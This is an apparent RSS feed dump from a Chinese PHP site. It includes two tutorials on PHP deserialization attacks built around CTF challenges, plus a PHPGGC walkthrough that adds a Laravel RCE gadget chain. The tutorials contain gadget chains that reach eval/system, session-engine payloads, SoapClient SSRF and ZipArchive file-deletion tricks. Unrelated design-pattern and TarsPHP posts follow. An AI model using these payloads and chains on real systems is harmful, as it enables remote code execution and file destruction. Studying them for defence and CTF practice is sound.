php开源优化中文网 – 中国第一档PHP资源分享门户 php开源优化中文网是国内第一家以PHP资源分享为主的专业网站,也提供了PHP中文交流社区。面向PHP学习研究者提供:最新PHP资讯、原创内容、开源代码和PHP视频教程等相关内容 Fri, 09 Aug 2019 02:43:07 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.2.2 由浅入深剖析序列化攻击(一) /9/20/24011.html /9/20/24011.html#respond Fri, 09 Aug 2019 02:39:37 +0000 /9/20/24011.html

前言

近期因为内部培训有序列化的需求,于是趁此机会由浅入深的剖析一下序列化相关内容。

之前也写过由浅入深的xml漏洞系列,欢迎阅读:

https://skysec.top/2018/08/17/浅析xml及其安全问题/

https://skysec.top/2018/08/18/浅析xml之xinclude-xslt/

由浅入深剖析序列化攻击(一)序列化的概念

简单概括来说,序列化即保存对象在内存中的状态,也可以说是实例化变量。在传递一个对象的时候,或是需要把对象保存在文件/数据库中时,就必须用序列化。

由浅入深剖析序列化攻击(一)序列化样例

以php官方手册样例为例:

<?php

class SimpleClass

{

// 声明属性

public $var = ‘a default value’;

// 声明方法

public function displayVar() {

echo $this->var;

}

}

?>

这样一来我们写了一个简单的类样例,类中包含一个属性和一个方法。

我们可以通过如下方式对类的属性进行赋值,对类的方法进行调用:


$sky = new SimpleClass();

$sky->var = ‘sky is cool!’;

$sky->displayVar();

我们观察一下序列化后字符串的格式:


$sky = serialize($sky);

var_dump($sky);

得到如下内容:


O:11:”SimpleClass”:1:{s:3:”var”;s:12:”sky is cool!”;}

O代表存储的是对象(object),11表示对象的名称有11个字符,”SimpleClass”表示对象的名称,1表示有一个值。

大括号内s表示字符串,3表示该字符串的长度,”var”为字符串的名称,紧跟着是该字符串的值,规则同理。

相同的,如果序列化数组,得到结果如下:


$sky1 = new SimpleClass();

$sky1->var = ‘sky is cool!’;

$sky2 = new SimpleClass();

$sky2->var = ‘wq is cool!’;

$sky3 = new SimpleClass();

$sky3->var = ‘sy is cool!’;

$sky4 = array($sky1,$sky2,$sky3);

var_dump(serialize($sky4));

得到如下内容:


a:3:{i:0;O:11:”SimpleClass”:1:{s:3:”var”;s:12:”sky is cool!”;}i:1;O:11:”SimpleClass”:1:{s:3:”var”;s:11:”wq is cool!”;}i:2;O:11:”SimpleClass”:1:{s:3:”var”;s:11:”sy is cool!”;}}

与之前不同的,多了a和i,a表示数组,数字3表示数组中有3个元素,i:0表示第一个元素,i:1表示第二个元素,i:2表示第三个元素。其他规则与之前一致。

相应的,将这组字符串传递后,我们接受后,使用unserialize()进行反序列化,如下:

$sky1 = ‘a:3:{i:0;O:11:”SimpleClass”:1:{s:3:”var”;s:12:”sky is cool!”;}i:1;O:11:”SimpleClass”:1:{s:3:”var”;s:11:”wq is cool!”;}i:2;O:11:”SimpleClass”:1:{s:3:”var”;s:11:”sy is cool!”;}}’;

$sky2 = ‘O:11:”SimpleClass”:1:{s:3:”var”;s:12:”sky is cool!”;}’;

var_dump(unserialize($sky1));

var_dump(unserialize($sky2));

由浅入深剖析序列化攻击(一)

发现反序列化成功,我们已将之前存储的对象成功复原。

由浅入深剖析序列化攻击(一)魔法方法漏洞

魔法方法样例

了解之前的原理后,我们首先看一个最简单的反序列化漏洞:

由浅入深剖析序列化攻击(一)

还是之前的代码,我们发现最后我们并没有进行方法调用,但成功触发了__toString()方法,这就是魔法方法的魅力。

魔法方法往往不需要用户调用,在特定条件下会自动触发,相关魔法方法在php官方手册中写的非常清楚了,就不再赘述:

https://www.php.net/manual/zh/language.oop5.magic.php

这里的__toString方法之所以触发成功,是因为我们将对象当做字符串输出,符合__toString方法的条件,所以成功触发了该方法。如果将echo换成var_dump则不会触发该方法。

魔法方法实战(一)

例如在Jarvis OJ上的一题:


http://web.jarvisoj.com:32768

index.php

<?php

require_once(‘shield.php’);

$x = new Shield();

isset($_GET[‘class’]) && $g = $_GET[‘class’];

if (!empty($g)) {

$x = unserialize($g);

}

echo $x->readfile();

?>

shield.php

<?php

//flag is in pctf.php

class Shield {

public $file;

function __construct($filename = ”) {

$this -> file = $filename;

}

function readfile() {

if (!empty($this->file) && stripos($this->file,’..’)===FALSE

&& stripos($this->file,’/’)===FALSE && stripos($this->file,’\’)==FALSE) {

return @file_get_contents($this->file);

}

}

}

?>

我们可以看到是一个非常简单的类,其中定义了1个属性和2个方法,其中便有魔法方法__construct(),通过查阅官方手册我们知道:具有构造函数的类会在每次创建新对象时先调用此方法。所以刚方法在初始化的时候便会自动调用,那么这里要涉及一个先后顺序,是我们赋值先进行,还是__construct()先进行,这里做一个简单测试:

由浅入深剖析序列化攻击(一)

从该测试不难看出,在new的时候__construct()已经出发,下一次赋值后即可将var属性覆盖。

回到题目中,在反序列化后,题目进行了如下调用:


echo $x->readfile();

而该方法有任意文件读取问题。


function readfile() {

if (!empty($this->file) && stripos($this->file,’..’)===FALSE

&& stripos($this->file,’/’)===FALSE && stripos($this->file,’\’)==FALSE) {

return @file_get_contents($this->file);

}

所以答案也呼之欲出了,我们将file的值赋值为pctf.php即可getflag,需要注意的是我们的赋值是在魔法方法__construct()之后,所以并不会被置空。

魔法方法实战(二)

刚才的案例或许比较简单,我们在这样的基础上提高难度。

<?php

class A

{

public $a;

public function __toString() {

eval($this->a);

return ‘1’;

}

}

class B

{

public $b;

public function __call($name, $arguments) {

echo $this->b;

}

}

class C

{

public $c;

public function __destruct() {

return $this->c->no();

}

}

unserialize($_GET[‘sky’]);

?>

我们观察到整个代码里有3个类,每个类里各一个属性,一个魔法方法。而最危险的函数为class A,其中有一步:


eval($this->a);

如果想控制a的值是非常容易的,但是如何触发该方法是个问题,通过之前的案例,我们知道__toString()在对象被当做字符串输出的时候会自动触发,但程序的输入点中并没有echo等操作,所以直接对A进行序列化攻击是无效的。

那么我们寻找是否有将对象当做字符串输出的点:


public function __call($name, $arguments) {

echo $this->b;

}

发现class B中有echo操作,会输出$b的值,我们也知道$b的值很容易控制,但是如何触发__call()方法呢?

查阅官方手册,我们发现:在对象中调用一个不可访问方法时,__call() 会被调用。

所以下一步我们要继续寻找,是否有对象调用了不可访问方法:


public function __destruct() {

return $this->c->no();

}

我们再class C中发现__destruct()魔法方法,其中调用了不可访问方法no(),我们看一下如何触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

所以整个利用链呼之欲出了:

1.使用Class C中的__destruct()触发不可访问方法调用。

2.通过不可访问方法调用触发Class B中__call方法。

3.通过__call方法中的echo,使其输出对象,触发ClassA中__toString方法。

4.通过Class A中的$a进行RCE。

所以我们可以完整构造如下:


$sky1 = new A();

$sky1->a = “system(‘ls /tmp’);”;

$sky2 = new B();

$sky2->b = $sky1;

$sky3 = new C();

$sky3->c = $sky2;

var_dump(serialize($sky3));

即可完成利用,进行RCE。

· session序列化引擎漏洞

·session序列化引擎样例

众所周知,session会将数据以序列化的格式存储在服务端,我们写如下测试代码:


<?php

session_start();

$_SESSION[‘login_ok’] = true;

$_SESSION[‘name’] = ‘sky’;

$_SESSION[‘age’] = 9999;

我们从默认路径找到session数据:


/var/lib/php/sessions/sess_027m6oo5ok4e22qaevsag7r7m0

内容为:


login_ok|b:1;name|s:3:”sky”;age|i:9999;

那么这是什么存储格式呢?查阅相关手册,可以得知session序列化具有以下3种不同的引擎:


php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值。

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值。

而在没有指定引擎的时候,会默认使用php引擎。

如果我们指定引擎:


ini_set(‘session.serialize_handler’, ‘php_serialize’);

session_start();

$_SESSION[‘login_ok’] = true;

$_SESSION[‘name’] = ‘sky’;

$_SESSION[‘age’] = 9999;

此时session文件内容变为:


a:3:{s:8:”login_ok”;b:1;s:4:”name”;s:3:”sky”;s:3:”age”;i:9999;}

那么如果程序在存储session时用的引擎与解码session时用的引擎不同,是否会触发问题呢?答案是显然的。

session序列化引擎漏洞实战(一)

还是以Jarvis OJ的一道题做样例


http://web.jarvisoj.com:32784/

源码如下:

<?php

//A webshell is wait for you

ini_set(‘session.serialize_handler’, ‘php’);

session_start();

class OowoO

{

public $mdzz;

function __construct()

{

$this->mdzz = ‘phpinfo();’;

}

function __destruct()

{

eval($this->mdzz);

}

}

if(isset($_GET[‘phpinfo’]))

{

$m = new OowoO();

}

else

{

highlight_string(file_get_contents(‘index.php’));

}

?>

在本题中我们看到,从头到尾并未有传入序列化和反序列化的点。但是翻阅phpinfo():

由浅入深剖析序列化攻击(一)

熟悉的同学应该都知道,一旦session.upload_progress.enabled开启,我们是可以控制session文件内容的,可参考这篇文章:https://skysec.top/2018/04/04/amazing-phpinfo/#session-upload-progress。

这样一来,我们即可控制session文件内容,在触发session读取的时候,会进行反序列化。根据代码不难发现,2个魔法方法都是我们之前提及的:


class OowoO{

public $mdzz;

function __construct()

{

$this->mdzz = ‘phpinfo();’;

}

function __destruct()

{

eval($this->mdzz);

}

}

我们可控制$mdzz进行任意RCE,例如:


O:5:”OowoO”:1:{s:4:”mdzz”;s:22:”var_dump(scandir(‘.’))”;}

但是紧接着问题又来了,我们的input为php_serialize,但题目的引擎为php,那么如何让他进行成功反序列化呢?

这里就要和php的格式有关了,我们根据之前的内容知道:php存储方式是,键名+竖线+经过serialize()函数序列处理的值。

那么竖线之前为键名,竖线之后为经过serialize()函数序列处理的值,所以我们只要构造如下poc:


|O:5:”OowoO”:1:{s:4:”mdzz”;s:22:”var_dump(scandir(‘.’))”;}

即可成功利用php的解析规则,让我们的恶意序列化payload被当做key然后经过反序列化被成功触发。

那么为什么程序会反序列化呢?下图给了我们很好的解释:

由浅入深剖析序列化攻击(一)

session序列化引擎漏洞实战(二)

又如2018 LCTF这样一道题:

<?php

highlight_file(__FILE__);

$b = ‘implode’;

call_user_func($_GET[f],$_POST);

session_start();

if(isset($_GET[name])){

$_SESSION[name] = $_GET[name];

}

var_dump($_SESSION);

$a = array(reset($_SESSION),’welcome_to_the_lctf2018′);

call_user_func($b,$a);

?>

题目要求我们用上述代码,进行SSRF,仿造127.0.0.1请求flag.php即可拿到flag。同时作者禁用了一些危险函数。详细的题解我已经写在这篇文章了:https://skysec.top/2018/11/17/2018-Xctf%20Final&LCTF-Bestphp/#bestphp%E2%80%99s-revenge。此处我们只做一些思路上的剖析。

首先我们观察到两个命令执行函数:


call_user_func($_GET[f],$_POST);

call_user_func($b,$a);

第一行想进行RCE还是非常容易的,我们直接传递两个参数即可。但第二行看起来并不可控。实际上我们可以用变量覆盖的思想,使用第一行覆盖$b,也能有一些用处,例如:


/?f=extract

b=call_user_func

那么这道题如何进行SSRF呢?实际上这和php的内置类有关:SoapClient。

由浅入深剖析序列化攻击(一)

这个类非常有趣,他有一个魔法方法为:__call,我们可以利用该方法触发我们想做的操作。这里就不再展开SoapClient的通信功能了。有兴趣可以去看上述链接。

我们知道魔法方法__call的触发方式是对象调用不可访问方法,那么本题里怎么让SoapClient调用不可访问方法呢?之前我说过b参数可以覆盖为call_user_func,这样答案就呼之欲出了:

由浅入深剖析序列化攻击(一)

如图即可成功触发SoapClient调用不可访问方法:welcome_to_the_lctf2018,触发后对象将会发起通讯请求,模拟127.0.0.1访问flag.php。

那么如何先把对象存入程序呢?这里即用到之前所说的session序列化引擎的问题。我们可以先让序列化引擎为php_serialize,在取出数据时,不指定引擎,则默认使用php引擎去反序列化,从而达成不被引擎的解析结构所干扰的目的。

那么如何设置session序列化引擎呢?这里我们利用如下这行命令即可:


call_user_func($_GET[f],$_POST);

然后发起如下请求,即可达到目的:


/?f=session_start

serialize_handler=php

由浅入深剖析序列化攻击(一)后记

由于篇幅有限,本篇文章只能暂且两则知识点:1.利用魔法方法攻击,2.利用session序列化引擎攻击。后续有时间会继续带来更深入的奇技淫巧,敬请期待~

]]>
/9/20/24011.html/feed 0
由浅入深剖析序列化攻击(二) /9/20/23988.html /9/20/23988.html#respond Fri, 09 Aug 2019 02:39:23 +0000 /9/20/23988.html

前言

之前写了一篇文章介绍序列化概念和两种常见攻击:1.魔法方法,2.session序列化引擎。

本篇文章继续深入,介绍另外方法:原生类序列化问题。

由浅入深剖析序列化攻击(二)原生类同名函数

问题引入

什么是原生类同名函数攻击漏洞呢?我们不妨看如下代码:


class UploadFile {

function upload($fakename, $content) {

….. // 你什么也不能做

}

function open($fakename, $realname) {

….. // 你什么也不能做

}}

假设有这样一个上传类,但是因为有.htaccess文件的控制,上传文件夹被限制的很死,我们很难上传我们的一句话文件。唯一的突破口是利用类中的函数或者漏洞,删除.htaccess文件,否则即便上传了一句话文件,也不能被解析。

问题探索

但是纵观类中函数,没有一个具有删除或者覆盖功能,此时应该如何操作呢?此时便应该考虑一下是否有原生类具有同名函数。比如此处的open函数,我们可以通过php代码进行搜索:


<?php

foreach (get_declared_classes() as $class) {

foreach (get_class_methods($class) as $method) {

if ($method == “open”)

echo “$class->$methodn”;

}

}

?>

不难得到如下结果:


SQLite3->open

SessionHandler->open

XMLReader->open

ZipArchive->open

发现有4个php原生类带有open方法,我们查阅每个方法的实现。

方法实现探究

对于SQLite3->open,我们查阅官方手册:

由浅入深剖析序列化攻击(二)

其有3个参数,看到模式SQLITE3_OPEN_READWRITE,应该不难想到是否可以篡改.htaccess,我们测试一下,得到报错:

由浅入深剖析序列化攻击(二)

显然这里的open方法并不能直接调用,我们继续往下看。

对于SessionHandler->open,我们查阅官方手册:

由浅入深剖析序列化攻击(二)

其有两个参数,一个是保存session的位置,一个是session的名字,很显然在这里不太适用,我们继续往下看。

对于XMLReader->open,我们查阅官方手册:

由浅入深剖析序列化攻击(二)

该方法也有3个参数,但显然也与删除文件没有太大关联,对我们的漏洞利用帮助不大,所以也可以直接跳过。

最后对于ZipArchive->open,我们查阅官方手册:

由浅入深剖析序列化攻击(二)

发现其参数为2个,前者是文件名,后者是选择模式,这里有一个overwrite非常引人注目,这正是我们需求的模式。我们跟进查看该模式描述:

由浅入深剖析序列化攻击(二)

本地测试一下:

由浅入深剖析序列化攻击(二)

发现使用该模式,可以成功删除指定文件。

那么如果目标操作序列化中,存在open调用,同时序列化可控,就有可能进行覆盖,达到删除指定文件的目的。例如题目中的:


function open($fakename, $realname) {

….. // 你什么也不能做

}

我们可以让fakename为.htaccess,realname为ZipArchive::OVERWRITE,并控制序列化为ZipArchive对象,即可达成删除目的。

上述过程并非凭空想象出来的环境,在一次比赛中便用到了这样的方式,在比赛Insomnihack Teaser 2018中,File Vault一题的考察点便在于此。有兴趣的可以看这篇文章:

https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

由浅入深剖析序列化攻击(二)原生类魔法方法

我们知道这种情况比较少数,因为需要程序去调用函数,并且其中同名的概率也是比较低的。所以不难联系到之前的魔法方法,这类方法可以在满足条件的情况下自动触发。如果我们能挖掘原生类中魔法方法的利用点,那么攻击范围肯定是明显大于上述这种需要调用的同名方法的。

原生类探索

那么不妨列举出所有带有魔法方法的原生类:

<?php

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

‘__construct’,

‘__destruct’,

‘__toString’,

‘__wakeup’,

‘__call’,

‘__callStatic’,

‘__get’,

‘__set’,

‘__isset’,

‘__unset’,

‘__invoke’,

‘__set_state’

))) {

print $class . ‘::’ . $method . “n”;

}

}

}

运行后不难发现,这里就有前一篇文章我们说的原生类SoapClient魔法方法__call导致SSRF的问题:

由浅入深剖析序列化攻击(二)

当然这么多原生类中,肯定不止这一个魔法方法可以利用。

SQLite3

例如原生类SQLite3,我们在遍历的时候,发现其存在魔法方法:SQLite3::__construct。

我们查阅一下官方手册:

由浅入深剖析序列化攻击(二)

此处可以发现,刚方法可以创建一个指定名称指定路径的空白文件:


<?php

$sky=new SQLite3(‘/tmp/sky/evil.php’);

?>

由浅入深剖析序列化攻击(二)

我们可以发现成功创建evil.php,可以有一个可控文件非常重要,我们可以用其存储数据,或是进行evil code的填写,方便后续攻击。

DirectoryIterator

又如原生类DirectoryIterator,我们注意到在遍历魔法方法时,其存在如下两个魔法方法:


DirectoryIterator::__construct

DirectoryIterator::__toString

我们查阅官方手册:

由浅入深剖析序列化攻击(二)

由浅入深剖析序列化攻击(二)

发现两者可以结合使用,首先使用魔法方法__construct进行路径选择,再利用__toString返回对应路径下的内容:

由浅入深剖析序列化攻击(二)

原理也很清晰,在使用echo的时候,触发了__toString魔法方法,返回了当前路径下的文件名。

SimpleXMLElement

再如SimpleXMLElement,我们在遍历魔法方法的时候,也发现了其存在2种魔法方法:


SimpleXMLElement::__construct

SimpleXMLElement::__toString

我们同样去查阅官方手册:

由浅入深剖析序列化攻击(二)

由浅入深剖析序列化攻击(二)

这里相信大家都不陌生,看到xml肯定会想到xxe,这里也不例外,该原生类可以用来进行xxe任意文件读取。如下图:

由浅入深剖析序列化攻击(二)

在利用echo后会触发__toString()魔法方法,输出其中的值,但需要注意的是,这里需要options为LIBXML_NOENT,否则不会加载我们的实体:

由浅入深剖析序列化攻击(二)

由浅入深剖析序列化攻击(二)实际案例

上述了多个原生类的利用点,实际上他们都来自于一场真实的案例,原文如下:

https://5haked.blogspot.com/2016/10/how-i-hacked-pornhub-for-fun-and-profit.html

该大牛串联多个原生类序列化问题,最后成功对某知名网站的任意代码执行,有兴趣的可以好好拜读一下~

由浅入深剖析序列化攻击(二)后记

本篇文章是前一篇的进阶版,后续有机会将更加结合实际问题进行剖析,欢迎有骚操作的一起讨论!

由浅入深剖析序列化攻击(二)

]]>
/9/20/23988.html/feed 0
PHP三大经典设计模式 /9/20/23953.html /9/20/23953.html#respond Fri, 09 Aug 2019 02:22:08 +0000 /9/20/23953.html

单例模式

单例模式的含义:
作为对象的创建模式,单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统全局地提供这个实例。它不会创建实例副本,而是会向单例类内部存储的实例返回一个引用。

单例模式的三个要素:
1.保存类唯一实例的静态变量。
2.构造函数和克隆函数必须是私有的,放在外部去实例化,这样就不存在单例模式的意义。
3.提供一个可供外部访问的公共方法,这个方法返回该类的唯一实例。

单例模式的意义:
在PHP中的应用主要在于数据库应用, 所以一个应用中会存在大量的数据库操作, 在使用面向对象的方式开发时, 如果使用单例模式, 则可以避免大量的new 操作消耗的资源。而不完全是对系统资源的节省, 可以避免重复实例化,因为PHP每次实例化一个类之后都会清理掉对应的资源,当再次使用的时候又会在重新去实例化一次。


单例模式使用的场景:
1.数据库操作,减少对数据路的new操作,从而减少内存资源和系统资源的消耗。
2.配置资源的共享,在一个系统中,配置资源都是全局的,使用单例模式也可以减少每次去读取配置带来的内存和系统资源的消耗。


代码演示:

<?php
class Single
{
public static $attribute = '';

public static $instance = '';

private function __construct($attribute = '浪子编程走四方')
{
self::$attribute = $attribute;
}

public static function getInstance($attribute = '我是编程浪子走四方1')
{
if (!(self::$instance instanceof self)) self::$instance = new self($attribute);
return self::$instance;
}
}

工厂模式

工厂模式的有含义:

负责生成其他对象的方法。简单的描述就是通过一个工厂类,去实例化其他类或者方法。


工厂模式的意义:

通过使用工厂模式,减少因为多处new同一个类,当这个类发生变法时,则需要多处修改。


代码演示:

<?php
class Factor
{
public static function createDB()
{
echo '我生产了一个DB实例';
return new DB;
}
}

class DB
{
public function __construct()
{
echo __CLASS__ . PHP_EOL;
}
}

$db = Factor::createDB();

注册树模式

注册数的含义:
注册树就是将多个对象注册在一个对象池中,当我们需要使用时,直接从对象池获取即可。


注册数模式的优点:
单例模式解决的是如何在整个项目中创建唯一对象实例的问题,工厂模式解决的是如何不通过new建立实例对象的方法。 那么注册树模式想解决什么问题呢? 在考虑这个问题前,我们还是有必要考虑下前两种模式目前面临的局限。 首先,单例模式创建唯一对象的过程本身还有一种判断,即判断对象是否存在。存在则返回对象,不存在则创建对象并返回。 每次创建实例对象都要存在这么一层判断。 工厂模式更多考虑的是扩展维护的问题。 总的来说,单例模式和工厂模式可以产生更加合理的对象。怎么方便调用这些对象呢?而且在项目内如此建立的对象好像散兵游勇一样,不便统筹管理安排啊。因 而,注册树模式应运而生。不管你是通过单例模式还是工厂模式还是二者结合生成的对象,都统统给我“插到”注册树上。我用某个对象的时候,直接从注册树上取 一下就好。这和我们使用全局变量一样的方便实用。 而且注册树模式还为其他模式提供了一种非常好的想法。


代码演示:

<?php


/**
* 单例模式
*/

class Single
{
public static $attribute = '';

public static $instance = '';

private function __construct($attribute = '浪子编程走四方')
{
self::$attribute = $attribute;
}

public static function getInstance($attribute = '浪子编程走四方1')
{
if (!(self::$instance instanceof self)) self::$instance = new self($attribute);
return self::$instance;
}
}

/**
* 工厂模式
*/

class Factory
{
public static function createObj()
{
return Single::getInstance('浪子编程走四方');
}
}

/**
* 注册模式
* 含义:就是将对象放在一个对象池中,使用的时候直接去对象池查找.
* 需要如下几个操作:
* 1.注册
* 2.存放对象池
* 3.获取
* 4.销毁
*/

Class Register
{
// 用一个数组来当做对象池,键当做对象别名,值存储具体对象
public static $objTree = [];

// 将对象放在对象池
public static function set($key, $val)
{
return self::$objTree[$key] = $val;
}

// 通过对象别名在对象池中获取到对象别名
public static function get($key)
{
return self::$objTree[$key];
}

// 通过对象别名将对象从对象池中注销
public static function _unset($key)
{
unset(self::$objTree[$key]);
}
}

Register::set('single', Factory::createObj());
$single = Register::get('single');
print_r($single);
echo $single::$attribute;
]]>
/9/20/23953.html/feed 0
实战工具:PHPGGC详解 /9/20/23954.html /9/20/23954.html#respond Fri, 09 Aug 2019 02:22:08 +0000 /9/20/23954.html

今天我们来分析一下php序列化的武器库:PHPGGC。

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具,类似Java中的ysoserial,支持大量主流框架的序列化exp一键生成。

但因为工具作者的时间有限,不能做到实时更新。而本文旨在分析phpggc原理,并为其添加拓展,以便我们加入最新的,自己需要的exp生成模块。

实战工具:PHPGGC详解phpggc流程分析

当我们运行:

phpggc Laravel/RCE1 system id

我们跟踪一下具体流程。

初始化流程

实战工具:PHPGGC详解

在创建对象时,我们下断点,发现首先程序会进行load_gadget_chains():

实战工具:PHPGGC详解

紧接着程序会寻找定义申明过的class:

实战工具:PHPGGC详解

实战工具:PHPGGC详解

经过array_filter,将程序自己构造的gadget取出:

$classes = array_filter($classes, function($class) {

return is_subclass_of($class, ‘\PHPGGC\GadgetChain’) &&

strpos($class, ‘GadgetChain\’) === 0;

});

实战工具:PHPGGC详解

然后是取出模块名:

实战工具:PHPGGC详解

我们跟进get_name(),就可以发现,例如:GadgetChainZendFrameworkFD1经过处理会变成ZendFramework/FD1:

实战工具:PHPGGC详解

然后将模块名与类申明形成映射关系:

$gcs = array_combine($names, $classes);

实战工具:PHPGGC详解

至此为止,初始化过程完成。

exp生成

然后初始化完成后,我们成功创建了PHPGGC对象x,然后调用其generate方法进行exp生成:

$x->generate();

首先是从我们的cmdline获取脚本运行参数,并将其解析:

实战工具:PHPGGC详解

例如我们此时解析出的参数:

实战工具:PHPGGC详解

同时如果发现我们没有input参数,就会友好性的打出help界面。

然后代码就会来到gadget chain的获取:

$gc = $this->get_gadget_chain($class);

实战工具:PHPGGC详解

这里就用到了之前的模块名和类名的映射关系,通过我们传入的模块名迅速找到已申明的类。

然后在需要时,再将其包含进来:

实战工具:PHPGGC详解

我们跟进该函数:

实战工具:PHPGGC详解

根据命名规则,程序会在其目录gadgetchains下寻找对应文件夹,例如我们对应的目录为:

/phpggc/gadgetchains/Laravel/RCE/1

然后获取其目录下的gadgets.php,拿到对应的类的定义。

然后就是利用我们定义的chain.php构造序列化了:

$parameters = $this->get_type_parameters($gc, $parameters);

$generated = $this->serialize($gc, $parameters);

首先程序会拿出我们传进去的参数,然后在chain.php中生成序列化的时候使用:

实战工具:PHPGGC详解

我们关注一下chain.php:

实战工具:PHPGGC详解

例如我们使用的Laravel/RCE1的chain.php,其中的函数名和参数名都是靠我们传入的。

这样便能达成生成指定命令执行的序列化构造的目的。

实战工具:PHPGGC详解

最后程序会将我们的结果输出。

实战工具:PHPGGC详解拓展

因为phpggc具有很好的拓展性,我们可以将现有已知的exp集成加入,这里就以之前很火的Laravel反序列化RCE为例:

phpggc本身提供了新建命令:

./phpggc –new Laravel RCE

运行后phpggc会按规则自动生成如下目录:

/phpggc/gadgetchains/Laravel/RCE/5

我们按照规则构造gadgets.php和chain.php:

gadgets.php

<?php

namespace IlluminateFoundationTesting{

class PendingCommand{

protected $command;

protected $parameters;

protected $app;

public $test;

public function __construct($command, $parameters,$class,$app)

{

$this->command = $command;

$this->parameters = $parameters;

$this->test=$class;

$this->app=$app;

}

}

}

namespace IlluminateAuth{

class GenericUser{

protected $attributes;

public function __construct(array $attributes){

$this->attributes = $attributes;

}

}

}

namespace IlluminateFoundation{

class Application{

protected $hasBeenBootstrapped = false;

protected $bindings;

public function __construct($bind){

$this->bindings=$bind;

}

}

}

?>

chain.php

<?php

namespace GadgetChainLaravel;

class RCE5 extends PHPGGCGadgetChainRCE

{

public static $version = ‘5.7’;

public static $vector = ‘__destruct’;

public static $author = ‘sky’;

public function generate(array $parameters)

{

$function = $parameters[‘function’];

$parameter = $parameters[‘parameter’];

return new IlluminateFoundationTestingPendingCommand(

$function,

array($parameter),

new IlluminateAuthGenericUser(

array(“expectedOutput”=>array(“0″=>”1”),”expectedQuestions”=>array(“0″=>”1”))

),

new IlluminateFoundationApplication(

array(“IlluminateContractsConsoleKernel”=>array(“concrete”=>”IlluminateFoundationApplication”))

)

);

}

}

然后我们运行起来,可以看到在模块和类的映射关系中,已经有了我们的RCE5:

实战工具:PHPGGC详解

运行一下,即可直接拿到exp:

实战工具:PHPGGC详解

]]>
/9/20/23954.html/feed 0
TarsPHP 新版本发布,支持 Protobuf 协议 /9/20/23887.html /9/20/23887.html#respond Fri, 09 Aug 2019 02:21:34 +0000 /9/20/23887.html
TarsPHP 新版本发布,支持 Protobuf 协议

作者丨张勇

TARS是腾讯从2008年到今天一直在使用的微服务开发框架,2018年成为Linux基金会开源项目目前支持PHP、C++、Java、Nodejs与Go语言。该框架为用户提供了涉及到开发、运维,以及测试的一整套解决方案,帮助一个产品或者服务快速开发、部署、测试、上线。它集可扩展协议编解码、高性能RPC通信框架、名字路由与发现、发布监控、日志统计、配置管理等于一体,通过它可以快速用微服务的方式构建自己的稳定可靠的分布式应用,并实现完整有效的服务治理。

TarsPHP作为Tars在PHP语言的解决方案,设计的时候主要考虑如下四个方面:

  • 功能完善:对标现有C++、Java与NodeJS体系功能
  • 灵活:论灵活,谁与PHP争锋
  • 轻量:用最轻量的设计,点到即止,即插即用
  • 高效:插上Swoole协程的翅膀,不得不飞

Protobuf简介

Protocol buffers (简称PB)是Google开源的语言中立,平台无关,可扩展的序列化数据的格式,可用于通信协议,数据存储等。
Protocol buffers (简称PB)是Google开源的语言中立,平台无关,可扩展的序列化数据的格式,可用于通信协议,数据存储等。它和XML类似,但比XML更小,更快,更简单。
PB是编码协议,如果涉及到网络传输和RPC调用,就需要引入通讯协议。Google开源的RPC框架gRPC就使用Http2作为通讯协议,PB作为编码协议。

使用TarsPHP 构建 PB Server

初始化环境
    • Protoc 安装

首先需要安装protoc库,这个库的主要作用是打包解包protobuf协议数据。可以参考:https://github.com/protocolbuffers/protobuf/tree/master/src直接安装。

TarsPHP 新版本发布,支持 Protobuf 协议

如果 protoc –version 可以正常输出,说明安装完成。

    • php protobuf安装

之后需要安装 php protobuf扩展,这个扩展主要用作php和protoc库中间的一个桥梁。

TarsPHP 新版本发布,支持 Protobuf 协议

如果 php –ri protobuf 有输出,说明安装正常。

    • Swoole 安装
建议使用4.4.0或以上版本,需要开启http2 和 openssl支持。
编写一个proto文件
参考TarsPHP中ActDemo中评论服务的tars文件,我们写了一个actComment.proto的协议文件。

和tars协议文件不同,proto协议中规定输入输出参数必须也只能是一个message结构体,因此需要对输入输出参数单独在封装一个message。

TarsPHP 新版本发布,支持 Protobuf 协议TarsPHP 新版本发布,支持 Protobuf 协议TarsPHP 新版本发布,支持 Protobuf 协议

生成server端代码

protoc可以根据proto文件生成对应的php类代码,但是官方并不支持proto文件生成server端代码,可以使用gRPC插件生成client代码。如果需要使用生成的client代码我们还需要安装grpc库和grpc php扩展。

因此我们的思路是,先使用protoc生成php需要的类,然后自己解析proto文件生成server 端interface,这个过程非常像现有的tars2php的过程,因此我们叫它proto2php。
由于使用两个工具生成还比较麻烦,我们把调用proto的过程集成到proto2php中方便大家使用。

我们先构建一个tars.proto.php设置一些基本信息。

TarsPHP 新版本发布,支持 Protobuf 协议

然后执行:

TarsPHP 新版本发布,支持 Protobuf 协议

之后会生成GPBMetadata目录和protocol目录。其中protocol中就是proto文件生成的php类,另外CommentObjServant.php就是proto2php文件生成的server端interface类。构建TarsPHP pb server需要实现这个类。
部署TarsPHP PB server
按照Demo中 Readme部署tarsphp pb server即可。
几点注意:
  1. 需要在impl目录中实现interface逻辑

  2. 在src下的services.php中指定home-api,home-class位置,protocolName是pb,serverType是grpc

  3. tars平台上协议类型是 tcp,非tars协议

  4. 需要在composer.json中添加require “google/protobuf”,autoload中需要配置 Protocol 和 GPBMetadata,范例如下:

TarsPHP 新版本发布,支持 Protobuf 协议

最后执行 composer run-script deploy,生成代码包,上传到Tars平台上发布。

使用client访问
可以使用gRPC生成的php客户端访问测试,也可以直接使用swoole 的http2客户端构建一个grpc客户端。

TarsPHP 新版本发布,支持 Protobuf 协议

TarsPHP 新版本发布,支持 Protobuf 协议

执行php client.php观察返回。

生成client端代码

前面提到的client,只是我们访问PB server 的简单demo,可以帮助我们测试PB server的状态。如果需要在其他Tars服务中调用PB server应该如何使用呢?和Tars类似我们也提供了生成PB client端代码的方式。

这里使用TarsActDemo下的QD.ActHttpServer为范例演示如何生成Tars PB client代码并调用PB服务。

  1. 拷贝actComment.proto文件到tars目录

